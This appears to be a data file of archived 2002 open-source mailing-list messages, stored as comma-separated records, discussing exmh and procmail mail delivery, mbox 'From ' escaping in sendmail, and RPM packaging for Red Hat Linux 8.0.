Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Dag Nygren ,Chris Garrigues ,"Tue, 08 Oct 2002 21:56:52 +0300",Re: Ringing bell on other computer,"> > > > > > Dag> but when procmail runs it it doesn't, presumably as it > > > Dag> doesn't have the authorization to communicate with the > > > Dag> laptop, beeing another user? > > > > > > I don't know anything about the KDE sound server but I'd guess > > > your problem is the ""environment"" in which procmail runs. You > > > don't say what procmail is running from. In my case, for > > > example, procmail is run from fetchmail which is run by a cron > > > job. > > > > Sorry about that, > > procmail is run by the qmail delivery agent to presort all mail > > I get. > > But anyway, I found an error message in procmail.log, which solved > > the problem. > > The following line in my delivery script seems to work fine now: > > > > DISPLAY=:0.0 artsplay > > BTW, if you use exmhwrapper (found in the misc directory), you can generalize > this to > > DISPLAY=`cat $HOME/.exmh/.display` artsplay Yes, but that probably means that you have to have exmh running on the laptop to get the notification? With exmh getting upset by two instances running at the same time, this creates the problem that I cannot run to the closest compter to check out the new mail. But thanks for the hint, I might use that for some other hack ;-) BRGDS Dag _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Jason Rennie ,exmh-users@spamassassin.taint.org,"Wed, 09 Oct 2002 12:57:13 -0400",From,"When I receive a message that has a line starting with ""From "", it's broken into two messages. I get my mail from /var/spool/mail. The program that incorporates mail thinks that the ""From "" line starts a new message. My sysadmins have told me that the sending mail client is supposed to escape lines begining with ""From "". EXMH (2.5) doesn't do this. Should it? It appears that my MH is MH 6.8. Does NMH fix this? Jason D. M. Rennie MIT AI Lab jrennie@ai.mit.edu (617) 253-5339 http://www.ai.mit.edu/~jrennie/ _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 """James C. McMaster (Jim)"" ",exmh-users@spamassassin.taint.org,"Wed, 09 Oct 2002 12:16:39 -0600",Re: From,"This is not an exmh problem, but an interaction between sendmail, Solaris and mh. Your sysadmin is wrong. It is the responsibility of the receiving mail server to escape lines beginning with ""From "" if they choose to turn on that facility. It is not the responsibility for email clients to cater to the stupid design of the unix mail spool, and Sun's even more stupid decision to rely on ""Content-length:"" instead of dealing with this problem. Since mh is unaware of ""Content-length:"", rcvstore gags trying to parse messages from the spool. I had this same problem. There are several ways to fix it: 1) Get your mail administrator to add the ""E"" flag to your sendmail. This means you will never see a line beginning with ""From "". Any such line will look like "">From "". 2) There is a patch to mh to make it respect ""Content-length:"". When I was having this problem, porting this patch to nmh was low on the priority list, then nmh development stalled for a long time. I doubt it has been done, but you can check with the nmh list at nmh-workers@mhost.com to find out for sure. 3) You can learn to use procmail, invoking rcvstore directly instead of letting sendmail put your incoming mail into the spool. This avoids the whole issue. rcvstore only deals with a single message at a time, and everything works. -- Jim McMaster mailto:mcmasjc@tatanka.stortek.com In message <200210091657.g99GvDmX025433@life.ai.mit.edu>, Jason Rennie said: > > When I receive a message that has a line starting with ""From "", it's > broken into two messages. I get my mail from /var/spool/mail. The > program that incorporates mail thinks that the ""From "" line starts a new > message. > > My sysadmins have told me that the sending mail client is supposed to > escape lines begining with ""From "". EXMH (2.5) doesn't do this. Should > it? It appears that my MH is MH 6.8. Does NMH fix this? > > Jason D. M. Rennie > MIT AI Lab > jrennie@ai.mit.edu > (617) 253-5339 > http://www.ai.mit.edu/~jrennie/ > > > > > _______________________________________________ > Exmh-users mailing list > Exmh-users@redhat.com > https://listman.redhat.com/mailman/listinfo/exmh-users > _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Hal DeVore ,exmh-users@spamassassin.taint.org,"Wed, 09 Oct 2002 13:30:00 -0500",Re: From,">>>>> On Wed, 9 Oct 2002, ""Jason"" == Jason Rennie wrote: Jason> My sysadmins have told me that the sending mail client Jason> is supposed to escape lines begining with ""From "". Your sysadmins are wrong. Whatever program that is used to store the mail into the braindead ""mailbox"" file (/var/spool/mail/whatever) is supposed to escape a line that begins with From. That program is called the local Mail Delivery Agent (MDA) It would be better if you never, ever, stored your mail in a ""mailbox"" file. If your sysadmins are capable of it, get them to set up the receiving Mail Transfer Agent (MTA) to allow the use of procmail as the local MDA. Then use procmail to invoke rcvstore and deliver your mail directly into your MH mail folders. Most Linux systems come configured this way, if a user has a $HOME/.procmail file then mail is delivered using procmail. --Hal _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 John Beck ,exmh-users@spamassassin.taint.org,"Wed, 09 Oct 2002 11:42:49 -0700",Re: From,"James> This is not an exmh problem, but an interaction between sendmail, James> Solaris and mh. Correct. James> Your sysadmin is wrong. It is the responsibility of the receiving mail James> server to escape lines beginning with ""From "" if they choose to turn James> on that facility. It is not the responsibility for email clients to James> cater to the stupid design of the unix mail spool, and Sun's even more James> stupid decision to rely on ""Content-length:"" instead of dealing with James> this problem. Since mh is unaware of ""Content-length:"", rcvstore gags James> trying to parse messages from the spool. Also correct. In fairness, though I cannot defend the Content-Length: header as I consider it brain damage in the extreme, Sun inherited this from AT&T. James> Get your mail administrator to add the ""E"" flag to your sendmail. James> This means you will never see a line beginning with ""From "". Any such James> line will look like "">From "". Specifically, you will need to find a line in /etc/mail/sendmail.cf that starts with ""Mlocal"" such as: [4784] grep ^Mlocal /etc/mail/sendmail.cf Mlocal, P=/usr/lib/mail.local, F=lsDFMAw5:/|@qPSXfmnz9E, S=EnvFromSMTP/HdrFromL, R=EnvToL/HdrToL, [4785] and make sure that 'E' appears in the long list of flags following ""F="". If your sys-admin uses m4 to generate sendmail.cf, and any good sys-admin should, then here is the magic line for the .mc file: MODIFY_MAILER_FLAGS(`LOCAL', `+E')dnl James> You can learn to use procmail, invoking rcvstore directly instead of James> letting sendmail put your incoming mail into the spool. This avoids James> the whole issue. rcvstore only deals with a single message at a time, James> and everything works. Also correct, though procmail per se is not needed, as other filters (such as slocal, which is part of the [n]mh distribution) do the trick just as well. -- John _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 kennykb@crd.ge.com (Kevin Kenny),exmh-users@spamassassin.taint.org,"Wed, 09 Oct 2002 14:43:32 -0400",Re: From,"mcmasjc@tatanka.stortek.com said: > 3) You can learn to use procmail, Can this be done via .forward? I don't have root on the machine my mailbox is on, and I'm absolutely certain that a complaint to the sysadmin about sendmail will get a simple response: shut down the daemon and tell me to use Outlook. :( -- 73 de ke9tv/2, Kevin KENNY GE Corporate Research & Development kennykb@crd.ge.com P. O. Box 8, Bldg. K-1, Rm. 5B36A Schenectady, New York 12301-0008 USA _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 """James C. McMaster (Jim)"" ",exmh-users@spamassassin.taint.org,"Wed, 09 Oct 2002 13:07:14 -0600",Re: From,"In message <200210091843.OAA01268@hippolyta.crd.ge.com>, Kevin Kenny said: > > mcmasjc@tatanka.stortek.com said: > > 3) You can learn to use procmail, > It absolutely can be done from .forward. I am in the same situation as you, and that is how I do it. -- Jim McMaster mailto:mcmasjc@tatanka.stortek.com _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Robert Waldner ,exmh-users@spamassassin.taint.org,"Wed, 09 Oct 2002 21:24:57 +0200",Re: From,"This is a multi-part message in MIME format. It has been signed conforming to RFC3156. You'll need GPG or PGP to check the signature. ------------=_1034191516-429-0 Content-Type: text/plain; charset=us-ascii On Wed, 09 Oct 2002 14:43:32 EDT, Kevin Kenny writes: >> 3) You can learn to use procmail, >Can this be done via .forward? make your .forward contain only the following line: ""|/usr/bin/procmail"" (incl. the quotes, your procmail binary may be in another path) cheers, &rw -- -- For a list of points detailing how technology -- has failed to improve our lives, please press 3. ------------=_1034191516-429-0 Content-Type: application/pgp-signature; name=""signature.ng"" Content-Disposition: inline; filename=""signature.ng"" Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.0 (GNU/Linux) iD8DBQE9pIKcE0NzSJr53oIRArv6AJ0dnw3zse1X3xC/afguHB90HFC0qwCeIINr kuoZSln0mfGwGUgMRSprbgk= =1urd -----END PGP SIGNATURE----- ------------=_1034191516-429-0-- _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 """James C. McMaster (Jim)"" ",exmh-users@spamassassin.taint.org,"Wed, 09 Oct 2002 15:05:00 -0600",Re: From,"In message <200210091925.g99JPGfJ001534@fsck.intern.waldner.priv.at>, Robert Wa ldner said: > > > On Wed, 09 Oct 2002 14:43:32 EDT, Kevin Kenny writes: > >> 3) You can learn to use procmail, > > >Can this be done via .forward? > > make your .forward contain only the following line: > ""|/usr/bin/procmail"" > (incl. the quotes, your procmail binary may be in another path) > Check the procmail documentation. They actually recommend: ""|IFS=' '&&p=(PATH/TO/PROCMAIL)&&test -f $p&&exec $p -f-||exit 75#(UNIQUE_STRING)"" I don't know what this does, but it is explained in the doc. -- Jim McMaster mailto:mcmasjc@tatanka.stortek.com _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 John Abreau ,exmh-users@spamassassin.taint.org,"Wed, 09 Oct 2002 17:15:18 -0400",Re: From,"--==_Exmh_1405404058P Content-Type: text/plain; charset=us-ascii Jason Rennie writes: > My sysadmins have told me that the sending mail client is supposed to > escape lines begining with ""From "". EXMH (2.5) doesn't do this. Should > it? It appears that my MH is MH 6.8. Does NMH fix this? Actually, this issue used to escalate into a religious war. The ""From "" envelope is an artifact of the mbox mailbox format, and from that perspective it should be the mail server that stores its mailboxes in mbox format that should be responsible for escaping lines beginning with ""From "". On the other hand, this breaks the assumption that the mail transport only touches the message headers and leaves the message body alone. Things like pgp signatures break when the mail server changes the message body. Also, strictly speaking, the mbox format envelope (or for us old-timers, the UUCP envelope) isn't just any line beginning with ""From "". It's really ""From"", a single space, a valid email address, two spaces, and a valid date. For example: From ptardif@nbnet.nb.ca Sun Jul 14 08:53:57 2002 ^ ^^ -- John Abreau / Executive Director, Boston Linux & Unix IM: jabr@jabber.blu.org / abreauj@aim / abreauj@yahoo / 28611923@icq Email jabr@blu.org / WWW http://www.abreau.net / PGP-Key-ID 0xD5C7B5D9 PGP-Key-Fingerprint 72 FB 39 4F 3C 3B D6 5B E0 C8 5A 6E F1 2C BE 99 Some people say, ""The enemy of my enemy is my friend."" I often respond, ""When elephants fight, it's the grass that gets trampled."" --==_Exmh_1405404058P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Exmh version 2.5 01/15/2001 iQCVAwUBPaScZlV9A5rVx7XZAQJlrgQAyxnhXLaYoas75wtCkQz7pr5jhTamXm9s 85Tx9R9YcZtAAK67wd7U6ZqIOcr+J76G/xn2+gm6ASVRL4/ipETx9AFhdq8pG//w sU/8zYCxOrnmqVI62sYaqx2m4m75IrnSdqR5ARKHc2U05zQq47xuMxSTIrC/dwKK oyAlEFSe8Rw= =mVfx -----END PGP SIGNATURE----- --==_Exmh_1405404058P-- _______________________________________________ Exmh-users mailing list Exmh-users@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-users",0,1 Jesse Keating ,rpm-zzzlist@freshrpms.net,"Mon, 23 Sep 2002 08:47:11 -0700",Re: sylpheed-claws,"On Mon, 23 Sep 2002 17:41:20 +0200 Matthias Saou wrote: # So did my build if the original source is what you were mentioning # ;-) One drawback : They changed from pspell to aspell apparently, # and it requires aspell >= 0.50 which isn't even in Rawhide, so spell # checking is disabled for now until I take a decision about it :-/ OOps, I didn't see the webpage get updated. I saw the new claws, and checked your site, forgot about it for half a day and then posted here. You beat me once again! # If I build recent aspell packages, they may not be upgraded when # ungrating to the next Red Hat Linux release (the final version of # the limbos and(null) betas), which is maybe not really desired. I'll # probably test and see... Oh yeah, I was following this thread in the sylpheed-claws list. Very interesting stuff. I might have to stick w/ 0.8.2 until aspell gets updated in Red Hat. -- Jesse Keating j2Solutions.net Mondo DevTeam (www.mondorescue.org) Was I helpful? Let others know: http://svcs.affero.net/rm.php?r=jkeating _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 23 Sep 2002 17:41:20 +0200",Re: sylpheed-claws,"Once upon a time, Jesse wrote : > On Fri, 20 Sep 2002 10:40:55 +0200 > Matthias Saou wrote: > > # But as it's the primary mailer I use, you can be sure that as soon > # as it's updated to 0.8.3, I'll update my build! :-) > > It got updated (; So did my build if the original source is what you were mentioning ;-) One drawback : They changed from pspell to aspell apparently, and it requires aspell >= 0.50 which isn't even in Rawhide, so spell checking is disabled for now until I take a decision about it :-/ If I build recent aspell packages, they may not be upgraded when ungrating to the next Red Hat Linux release (the final version of the limbos and (null) betas), which is maybe not really desired. I'll probably test and see... Matthias PS: The spec file was massively updated and the --with / --without options that can be used to rebuild the source packages are now listed in the description ;-) -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 23 Sep 2002 18:02:05 +0200",Re: sylpheed-claws,"Once upon a time, Jesse wrote : > Oh yeah, I was following this thread in the sylpheed-claws list. Very > interesting stuff. I might have to stick w/ 0.8.2 until aspell gets > updated in Red Hat. Then this may be 6 months or more since my guess after 3 beta releases is that the freeze on package versions for inclusion in the next stable release (n+1) has already happened, thus you'll have to wait at least for Red Hat Linux... n+2 :-) This is why (if it doesn't break anything), I'll maybe release recent aspell packages. But to be sure I'll need to do some testing ;-) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ricardo Mota ,rpm-zzzlist@freshrpms.net,23 Sep 2002 14:38:44 -0300,Re: Should mplayer be build with Win32 codecs?,"Hi, First you have to get the win32 files !!! then , you configure using --enable_win32 On Fri, 2002-09-20 at 13:11, Axel Thimm wrote: > Hi, > > has anyone an answer for me? The mplayer documentation still suggests to use > them for x86 architectures. > > Thanks. :) > > Regards, Axel. > > On Sat, Jun 08, 2002 at 11:39:03PM +0200, Axel Thimm wrote: > > Are there perhaps licensing issues, which forbid such a practice? Or any other > > reasons? > > > > The reason I ask is that I have seen performance and also some feature > > differences (fullscreen w/o keeping aspect ratio, visual artifacts on NVIDIA) > > comparing with or without the Win32 codecs. The mplayer authors seem to > > recommend using them for x86 architectures. > > > > Beware, I am no mplayer/codecs/whatever expert, I may be totally lost ... > > -- > Axel.Thimm@physik.fu-berlin.de > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list > _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Troy Engel ,freshrpms ,"Tue, 24 Sep 2002 10:57:38 -0700",netatalk-1.5.5-1rh7,"Hi folks, I just uploaded RPMS of the new netatalk 1.5.5 released yesterday, thought folks here might be interested. This release fixes a nastygram in saving files via Illustrator that I personally have been waiting for.... http://ftp.falsehope.com/home/tengel/netatalk/ (will be mirrored on rpmfind.net by tomorrow, usually). -te -- Troy Engel, Systems Engineer Cool as the other side of the pillow _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Thomas Vander Stichele ,RPM-List@freshrpms.net,"Sat, 28 Sep 2002 17:44:03 +0200 (CEST)",hi,"Hello, I'm new to the list. I wanted to find out who tried recompiling a working apt rpm for (null) or psyche. I would like to get good GStreamer packages done by monday when it's released. BTW, in the archive I saw some posts regarding the GStreamer repository. I'm not sure why they were posted on this list ;) In any case, I'm the rpm maintainer, so if you have any questions, feel free to ask. I was trying to get an updated apt rpm from http://dave.cridland.net/, but the http port is closed. Dave, if you're reading this, please let me know where I can get the updated rpm. Thanks, Thomas -- The Dave/Dina Project : future TV today ! - http://davedina.apestaart.org/ <-*- -*-> Just like you said you leave my life I'm better off dead <-*- thomas@apestaart.org -*-> URGent, the best radio on the Internet - 24/7 ! - http://urgent.rug.ac.be/ _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Sat, 28 Sep 2002 18:37:54 +0200",Re: hi,"Once upon a time, Thomas wrote : > I wanted to find out who tried recompiling a working apt rpm for (null) > or psyche. I would like to get good GStreamer packages done by monday > when it's released. I have a working apt 0.5.4cnc7 package for Red Hat Linux 8.0. It will be available at the same second the distribution will, and so will a complete apt repository already including quite a few of my packages updated for Red Hat Linux 8.0. I didn't want to say all this before Monday, but as the new release already leaked from many places, and official statements made about it, it shouldn't be a big deal :-/ I'll keep you all posted on Monday! They'll even be a big apt-related surprise! ;-)))) Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Thomas Vander Stichele ,gstreamer-devel@example.sourceforge.net,"Sun, 29 Sep 2002 19:29:58 +0200 (CEST)",Red Hat 8.0,"Hi, Red Hat 8.0 is released tomorrow (monday). I took some time out to make RPMs of GStreamer for it. All of them (core, plugins and player) have been uploaded to the apt repository in a new ""redhat-80-i386"" directory. The repository for dependencies is again called ""deps"", and the one for the gstreamer rpms is ""redhat"", because this time around the base distro contains all the necessary packages. A screenshot of Red Hat 8.0 running gst-player is up at http://thomas.apestaart.org/download/screenshots/redhat-80-gst-player.png Here are some known issues with the resulting rpms : a) gstreamer-nautilus isn't built, the package got renamed and I don't have a -devel package for it yet b) the c++ plugins have problems which I haven't been able to resolve. Here are the errors: INFO (15299: 0)gst_xml_registry_rebuild:1555: Plugin /usr/lib/gst/libgstwincodec.so failed to load: Error loading plugin /usr/lib/gst/libgstwincodec.so, reason: /usr/lib/libaviplay-0.7.so.0: undefined symbol: _ZTVN10__cxxabiv120__si_class_type_infoE Plugin /usr/lib/gst/libgstwincodec.so failed to load DEBUG(15299: 0)gst_plugin_load_plugin:161: attempt to load plugin ""/usr/lib/gst/libgstmodplug.so"" INFO (15299: 0)gst_xml_registry_rebuild:1555: Plugin /usr/lib/gst/libgstmodplug.so failed to load: Error loading plugin /usr/lib/gst/libgstmodplug.so, reason: /usr/lib/gst/libgstmodplug.so: undefined symbol: __gxx_personality_v0 I'm not sure how to fix this; running strings on the libs in /usr/lib reveals that there are other libs that have these symbols, so there must be something straightforward that should fix this. If anyone has a suggestion, please share ;) Thomas -- The Dave/Dina Project : future TV today ! - http://davedina.apestaart.org/ <-*- -*-> Kiss me please kiss me Kiss me out of desire baby not consolation Oh you know it makes me so angry cause I know that in time I'll only make you cry <-*- thomas@apestaart.org -*-> URGent, the best radio on the Internet - 24/7 ! - http://urgent.rug.ac.be/ _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Thomas Vander Stichele ,ERDI Gergo ,"Sun, 29 Sep 2002 20:57:40 +0200 (CEST)",Re: [gst-devel] Red Hat 8.0,"Hi, > On Sun, 29 Sep 2002, Thomas Vander Stichele wrote: > > > INFO (15299: 0)gst_xml_registry_rebuild:1555: Plugin > > /usr/lib/gst/libgstwincodec.so failed to load: Error loading plugin > > /usr/lib/gst/libgstwincodec.so, reason: /usr/lib/libaviplay-0.7.so.0: > > undefined symbol: _ZTVN10__cxxabiv120__si_class_type_infoE > Are you using the same version of GCC to compile the plugin as its C++ > dependencies? Yes, I am. Everything is built inside a chroot. I think it isn't linking to a lib somewhere, I'm just not sure what lib it should preloading here. Anyway to find out which one it is ? Thomas -- The Dave/Dina Project : future TV today ! - http://davedina.apestaart.org/ <-*- -*-> You came in just like smoke With a little come on come on come on in your walk come on <-*- thomas@apestaart.org -*-> URGent, the best radio on the Internet - 24/7 ! - http://urgent.rug.ac.be/ _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Sun, 29 Sep 2002 21:16:30 +0200",Re: [gst-devel] Red Hat 8.0,"Once upon a time, Thomas wrote : > > On Sun, 29 Sep 2002, Thomas Vander Stichele wrote: > > > > > INFO (15299: 0)gst_xml_registry_rebuild:1555: Plugin > > > /usr/lib/gst/libgstwincodec.so failed to load: Error loading plugin > > > /usr/lib/gst/libgstwincodec.so, reason: /usr/lib/libaviplay-0.7.so.0: > > > > > > undefined symbol: _ZTVN10__cxxabiv120__si_class_type_infoE > > > Are you using the same version of GCC to compile the plugin as its C++ > > dependencies? > > Yes, I am. Everything is built inside a chroot. I think it isn't > linking to a lib somewhere, I'm just not sure what lib it should > preloading here. Anyway to find out which one it is ? Looks like a problem with the avifile you've rebuilt... I've been unable to recompile successfully the latest version on 8.0 :-/ Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Thomas Vander Stichele ,rpm-zzzlist@freshrpms.net,"Sun, 29 Sep 2002 21:38:46 +0200 (CEST)",Re: [gst-devel] Red Hat 8.0,"> > > > INFO (15299: 0)gst_xml_registry_rebuild:1555: Plugin > > > > /usr/lib/gst/libgstwincodec.so failed to load: Error loading plugin > > > > /usr/lib/gst/libgstwincodec.so, reason: /usr/lib/libaviplay-0.7.so.0: > > > > > > > > undefined symbol: _ZTVN10__cxxabiv120__si_class_type_infoE > > > > > Are you using the same version of GCC to compile the plugin as its C++ > > > dependencies? > > > > Yes, I am. Everything is built inside a chroot. I think it isn't > > linking to a lib somewhere, I'm just not sure what lib it should > > preloading here. Anyway to find out which one it is ? > > Looks like a problem with the avifile you've rebuilt... I've been unable to > recompile successfully the latest version on 8.0 :-/ Hm, it is built inside the same chroot. aviplay works (well it would if I had XV, I get X errors ;)). But it doesn't complain about linker problems. So I suppose my avifile library on itself is compiled ok. Sigh, avifile is one of the worst packages out there, in all aspects - naming of tarballs, not ever releasing an actual package, versioning of libraries, API stability, ... Thomas -- The Dave/Dina Project : future TV today ! - http://davedina.apestaart.org/ <-*- -*-> cos when i needed someone you left me floored the feeling is gone i can't let go you know that i'd change if i had the love it takes <-*- thomas@apestaart.org -*-> URGent, the best radio on the Internet - 24/7 ! - http://urgent.rug.ac.be/ _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ",rpm-zzzlist@freshrpms.net,"Mon, 30 Sep 2002 07:14:31 +0000",Re: New testing packages,"Peter Peltonen (peter.peltonen@iki.fi) wrote*: >BTW: I just a found a quite nice looking apt repositry for >all kinds of audio apps at > >http://ccrma-www.stanford.edu/planetccrma/software/ > _Very_ comprehensive audio app collection, Thanks. -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Axel Thimm ,rpm-zzzlist@freshrpms.net,"Mon, 30 Sep 2002 11:11:21 +0200",Re: All set for Red Hat Linux 8.0,"Matthias, On Mon, Sep 30, 2002 at 09:28:26AM +0200, Matthias Saou wrote: > All freshrpms.net is now set for the imminent release of Red Hat Linux 8.0. thanks a lot for all your effords! It is just great! > I'll probably post to the list once I open up ftp.freshrpms.net so you can > be the first ones to get in and download, although I doubt you'll have > trouble finding access to at least one fast mirror using my mirror list. You mean the mirror list for RH8.0, or do there exist mirrors for your apt repo? On Sat, Sep 28, 2002 at 06:37:54PM +0200, Matthias Saou wrote: > I'll keep you all posted on Monday! They'll even be a big apt-related > surprise! ;-)))) Was this the surprise, or will there be even more (where are my heart pills)? ;) Thanks Matthias! -- Axel.Thimm@physik.fu-berlin.de _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Mark Derricutt ,rpm-zzzlist@freshrpms.net,"Mon, 30 Sep 2002 21:46:08 +1200",Re: New testing packages,"Indeed - I was thinking of getting back into doing mods - nice to see an apt-get'able soundtracker there :-) Anyone know where to get a good selection of samples/loops? --On Monday, September 30, 2002 07:14:31 +0000 Angles Puglisi wrote: > _Very_ comprehensive audio app collection, Thanks. -- \m/ -- ""...if I seem super human I have been misunderstood."" (c) Dream Theater mark@talios.com - ICQ: 1934853 JID: talios@myjabber.net _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Julian Missig ,rpm-zzzlist@freshrpms.net,"Mon, 30 Sep 2002 14:55:41 -0400",Re: All set for Red Hat Linux 8.0,"I would appreciate it if you could get Gabber packages for Red Hat 8. I will be making a new release soon, but even in the meantime, 0.8.7 packages would be ok. I know that in the beta, red hat was using a modified version of gnome-libs which is incompatible with the latest gnomemm. If this is still the case in 8, I can send you a patch which makes gnomemm work again... Julian On Monday, Sep 30, 2002, at 03:28 US/Eastern, Matthias Saou wrote: > Hi all, > > All freshrpms.net is now set for the imminent release of Red Hat Linux > 8.0. > The whole release process is a lot less secret as usual since there > have > been some leaks, including a mirror purposely wide open :-( > > See this article about the release and the leaks : > http://news.com.com/2100-1001-959434.html?tag=fd_top > > As it's no secret anymore, the files will be available today (morning > for > you Americans, afternoon for us Europeans), and to go with them, there > are > already quite a few freshrpms.net packages ready! > > Mirror list for download (they're not open yet) : > http://freshrpms.net/mirrors/psyche.html > > New freshrpms.net package list : > http://psyche.freshrpms.net/ > > Of course, apt is also available (now version 0.5.4!) and fully > tested. If > you like apt for your desktop machines, I also recommend checking out > the > new ""synaptic"" package as it has now been ported to gtk+ and blends > perfectly into the distribution! > > I'll probably post to the list once I open up ftp.freshrpms.net so you > can > be the first ones to get in and download, although I doubt you'll have > trouble finding access to at least one fast mirror using my mirror > list. > > Have fun with Psyche! > Matthias > > -- > Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ > Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10acpi > Load : 0.16 0.18 0.17 > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ralf Ertzinger ,rpm-zzzlist@freshrpms.net,"Mon, 30 Sep 2002 21:42:04 +0200",apt 0.5.7 on RH 7.x,"Hi. Are there any reasons _not_ to use the new apt releases on RH 7.x? -- reiserfsck ist bekannt dafr, da es leere Dateisysteme zurcklt. Gut, formaljuristisch hat er das Dateisystem in einen wohldefinierten Zustand versetzt, aber ... nunja. Man erwartet schon irgendwie, da noch ein paar Daten drauf sind danach. -- Felix v. Leitner, dasr _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,Hesty P ,"Mon, 30 Sep 2002 21:50:46 +0200",Re: ALSA Problem with Null kernel,"Once upon a time, Hesty wrote : > I know they're all included in the freshrpms alsa-null > directory. Now that Psyche is released, that directory was erased. > I was worried that with the new mplayer-pre8, these > packages might break something. Is there any mplayer > package which includes all the options for -vo and > -ao? Is that because alsa is not included in RH, hence > the lack of alsa option for mplayer from freshrpms? > Or is there some swtiches to enable these options > during > rpm build? For all my recent packages that support --with and --without options, I've put them in the %description section. See for instance : http://psyche.freshrpms.net/rpm.html?id=80 Where you can see : Available rpmbuild rebuild options : --with : alsa --without : aalib lirc libdv arts The ogle package has also a --with alsa option, and I've had a bug report about xine that I apparently unintentionally compiled with ALSA directly :-/ I'd like to aks this on the rpm-zzzlist : Would a new dependency of 250k, the alsa-lib package, for many packages (mplayer, ogle, xine) be a problem for the freshrpms.net packages users? As I really feel like blending ALSA in now, especially since I've just spent some time recompiling alsa-kernel package for all the Psyche kernels!!! Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 30 Sep 2002 22:00:02 +0200",Re: apt 0.5.7 on RH 7.x,"Once upon a time, Ralf wrote : > Are there any reasons _not_ to use the new apt releases on RH 7.x? Hmmm... I don't see any :-) My main concern is that when rebuilding the recent packages I've made for Psyche on Valhalla, I'd need to lower the ""Release:"" tag (to keep an upgrade working), and that would f*ck up my CVS repository which is on my Valhalla box (well, I'm exagerating, It'll just make it more difficult for me) ;-) Sure, there are easy ways around this, but the easiest for me will be to wait until I upgrade my main box to Psyche and have Valhalla only on a secondary rebuild system. Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Ralf Ertzinger ,rpm-zzzlist@freshrpms.net,"Mon, 30 Sep 2002 22:39:56 +0200",Re: apt 0.5.7 on RH 7.x,"Hi. Matthias Saou wrote: > My main concern is that when rebuilding the recent packages I've made > for Psyche on Valhalla, I'd need to lower the ""Release:"" tag (to keep an > upgrade working), and that would f*ck up my CVS repository which is on > my Valhalla box Sorry, I don't get it. What's wrong with a release tag of fr1? -- 